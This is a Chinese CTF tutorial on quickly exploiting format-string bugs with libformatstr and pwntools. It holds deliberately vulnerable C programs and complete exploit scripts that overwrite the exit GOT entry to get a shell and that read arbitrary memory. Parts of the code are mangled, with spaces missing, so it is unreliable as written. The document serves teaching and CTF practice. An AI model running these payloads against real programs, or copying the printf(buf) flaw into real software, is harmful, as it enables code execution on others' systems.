CTF中格式化字符串漏洞快速利用

格式化字符串是CTF比赛中很常见的一种pwn题,但是往往需要自己手工调试,如果可以快速利用该漏洞拿到一血,这无疑可以很大的鼓舞选手的信心,并且有丰厚的分值奖励。那怎么快速利用格式化字符串漏洞呢,甚至对漏洞原理不甚了解怎么快速利用呢,本文将慢慢揭晓。

首先介绍利用该漏洞的工具:https://github.com/hellman/libformatstr ,可以直接pip install libformatstr安装。格式化字符串漏洞的利用方式就是在任意地址写入任意数据,比如改写got表,下边分三种情况介绍:

直接输入所有输入信息

测试代码:

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

#include <stdio.h>

 

#include <string.h>

 

#include <stdlib.h>

 

voidwin() {

 

system("/bin/sh");

 

}

 

voidmain(intargc, char*argv[]) {

 

charbuf[103];

 

fgets(buf, 103, stdin);

 

buf[strlen(buf)-1] = 0x0;

 

printf(buf);

 

exit(0);

 

}

编译:gcc -Wno-format-security print_format.c -o print_format

利用思路可以直接将exit函数的got表修改为函数win的地址,这样调用exit时,函数win得到执行,获得shell。

首先计算偏移跟填充,这里举个例子:

比如用户输入aaaBBBB.%x.%x.%x.%x.%x.%x,

输出:aaaBBBB.67.b7fc1c20.bffff734.bffff6d4.61616148.42424242

那么这里偏移是6,填充是3.

下边直接用libformatstr计算:

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

fromlibformatstr import*

 

frompwn import*

 

frombinascii import*

 

context.log_level ='debug'

 

bufsiz =100

 

elf=ELF('./print_test')

 

exit_got=0x804a01c

 

win_addr=0x80484fd

 

bufsiz =100

 

r =process('./print_test')

 

r.sendline(make_pattern(bufsiz))             # send cyclic pattern to

 

data =r.recv()                                 # server's response

 

offset, padding =guess_argnum(data, bufsiz)    # find format string offset and padding

 

log.info("offset : "+str(offset))

 

log.info("padding: "+str(padding))

这样直接计算出偏移是6,填充是3

CTF中格式化字符串漏洞快速利用

知道了偏移 填充,以及win函数地址,exit got表地址,可以直接利用:

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

fromlibformatstr import*

 

frompwn import*

 

frombinascii import*

 

context.log_level ='debug'

 

bufsiz =100

 

#r = process('./print_test')

 

elf=ELF('./print_test')

 

exit_got=0x804a01c

 

win_addr=0x80484fd

 

bufsiz =100

 

r =process('./print_test')

 

p =FormatStr()

 

p[exit_got] =win_addr

 

buf =p.payload(6,3)

 

r.sendline(buf)

 

r.interactive()

CTF中格式化字符串漏洞快速利用

说明: p.payload(6,3)  直接输入偏移,填充

p[exit_got] = win_addr  因为是直接将win函数地址写入exit函数的got表,所以可以直接这样写。

输出有预打印字符

测试代码:

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

#include <stdio.h>

 

#include <string.h>

 

#include <stdlib.h>

 

voidwin() {

 

system("/bin/sh");

 

}

 

voidmain(intargc, char*argv[]) {

 

charbuf[103],out[200];

 

fgets(buf, 103, stdin);

 

buf[strlen(buf)-1] = 0x0;

 

sprintf(out,"hello,%sn",buf);

 

printf(out);

 

exit(0);

 

}

编译:gcc -Wno-format-security print_format.c -o print_format

可以看到这次代码跟上次的不同就是输出时先输出”hello,”,再输出用户输入的数据。

首先计算偏移填充:

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

fromlibformatstr import*

 

frompwn import*

 

frombinascii import*

 

context.log_level ='debug'

 

bufsiz =100

 

elf=ELF('./print_format')

 

exit_got=0x804a01c

 

win_addr=0x80484fd

 

bufsiz =100

 

r =process('./print_format')

 

r.sendline(make_pattern(bufsiz))             # send cyclic pattern to

 

data =<strong>r.recv()[6:]  </strong>                               # server's response

 

offset, padding =guess_argnum(data, bufsiz)    # find format string offset and padding

 

log.info("offset : "+str(offset))

 

log.info("padding: "+str(padding))

CTF中格式化字符串漏洞快速利用

可以看到偏移填充是8  3

此处计算计算偏移填充时,因为会预输出”hello,”,所以代码中使用r.recv()[6:]  计算。

知道了偏移填充,就可以直接利用,注意此处的预输出数据的影响,所以此时payload是p.payload(8,3,start_len=6)

完整代码:

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

fromlibformatstr import*

 

frompwn import*

 

frombinascii import*

 

context.log_level ='debug'

 

bufsiz =100

 

#r = process('./print_format')

 

elf=ELF('./print_format')

 

exit_got=0x804a01c

 

win_addr=0x804852d

 

bufsiz =100

 

r =process('./print_format')

 

p =FormatStr()

 

p[exit_got] =win_addr

 

buf =p.payload(8,3,start_len=6)

 

r.sendline(buf)

 

r.interactive()

输入数据有限制

程序对用户输入的数据有限制,只能输入特定格式的数据

测试代码:

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

#include <stdio.h>

 

#include <string.h>

 

#include <stdlib.h>

 

voidwin() {

 

system("/bin/sh");

 

}

 

voidmain(intargc, char*argv[]) {

 

charbuf[103],out[200];

 

fgets(buf, 103, stdin);

 

buf[strlen(buf)-1] = 0x0;

 

if(!memcmp(buf,"http://",7))

 

{

 

printf(buf);

 

}

 

else

 

{

 

printf("input error!n");

 

}

 

exit(0);

 

}

可以看到用户输入的数据必须以http://开头,首先计算偏移填充:

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

fromlibformatstr import*

 

frompwn import*

 

frombinascii import*

 

context.log_level ='debug'

 

bufsiz =100

 

elf=ELF('./print_format')

 

exit_got=0x804a01c

 

win_addr=0x80484fd

 

bufsiz =100

 

r =process('./print_format')

 

r.sendline("http://"+make_pattern(bufsiz))             # send cyclic pattern to

 

data =r.recv()[7:]                                 # server's response

 

offset, padding =guess_argnum(data, bufsiz)    # find format string offset and padding

 

log.info("offset : "+str(offset))

 

log.info("padding: "+str(padding))

CTF中格式化字符串漏洞快速利用

可以看到偏移是7,填充是1,注意此时先输入http://,在输入随机字符,计算偏移填充,收到的数据也要从第七个字符开始计算:

r.sendline(“http://”+make_pattern(bufsiz))             # send cyclic pattern to

data = r.recv()[7:]

知道了偏移填充,就可以直接利用,注意此处要先输入http://  , payload从第七位开始算(buf = p.payload(7,1,start_len=7)  r.sendline(“http://”+buf)

),完整利用代码如下:

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

fromlibformatstr import*

 

frompwn import*

 

frombinascii import*

 

context.log_level ='debug'

 

bufsiz =100

 

#r = process('./print_format')

 

elf=ELF('./print_format')

 

exit_got=0x804a024

 

win_addr=0x804855d

 

bufsiz =100

 

r =process('./print_format')

 

p =FormatStr()

 

p[exit_got] =win_addr

 

buf =p.payload(7,1,start_len=7)

 

r.sendline("http://"+buf)

 

r.interactive()

CTF中格式化字符串漏洞快速利用

最后介绍一下任意内存读取,当为第一种情况时,首先获取偏移 填充

然后:

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

from libformatstr import *

 

from pwn import *

 

from binascii import *

 

context.log_level = 'debug'

 

bufsiz = 100

 

#r = process('./print_format')

 

elf=ELF('./print_format')

 

exit_got=0x804a01c

 

fgets_got=0x0804a010

 

win_addr=0x804855d

 

offset=6

 

padding=3

 

&nbsp;

 

bufsiz = 100

 

r = process('./print_format')

 

buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s"   #calculate address of exit

 

r.sendline(buf)

 

temp=r.recv()[padding+4:padding+4*2]

 

print hex(u32(temp))

当遇到第二种情况时:

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

from libformatstr import *

 

from pwn import *

 

from binascii import *

 

context.log_level = 'debug'

 

bufsiz = 100

 

#r = process('./print_format')

 

elf=ELF('./print_format')

 

exit_got=0x804a01c

 

fgets_got=0x0804a010

 

win_addr=0x804855d

 

offset=8

 

padding=3

 

pre_len=6  #预打印字符长度

 

&nbsp;

 

bufsiz = 100

 

r = process('./print_format')

 

buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s"

 

r.sendline(buf)

 

temp=r.recv()[pre_len+padding+4:pre_len+padding+4*2]

 

print hex(u32(temp))

可以看到只是recv处理数据时,要将预打印字符长度算进去。

当为第三种情况时,

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

from libformatstr import *

 

from pwn import *

 

from binascii import *

 

context.log_level = 'debug'

 

bufsiz = 100

 

#r = process('./print_format')

 

elf=ELF('./print_format')

 

exit_got=0x804a024

 

fgets_got=0x0804a010

 

win_addr=0x804855d

 

offset=7

 

padding=1

 

pre_len=7

 

 

bufsiz = 100

 

r = process('./print_format')

 

buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s"

 

r.sendline("http://"+buf)

 

temp=r.recv()[pre_len+padding+4:pre_len+padding+4*2]

 

print temp

 

print hex(u32(temp))

可以看到输入输出都要将限制字符计算进去。

参考资料:

  • https://github.com/hellman/libformatstr
  • https://blog.techorganic.com/2015/07/01/simplifying-format-string-exploitation-with-libformatstr/

本文来自杨明强(银河安全实验室),经授权后发布,本文观点不代表MottoIN立场,转载请联系原作者。

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code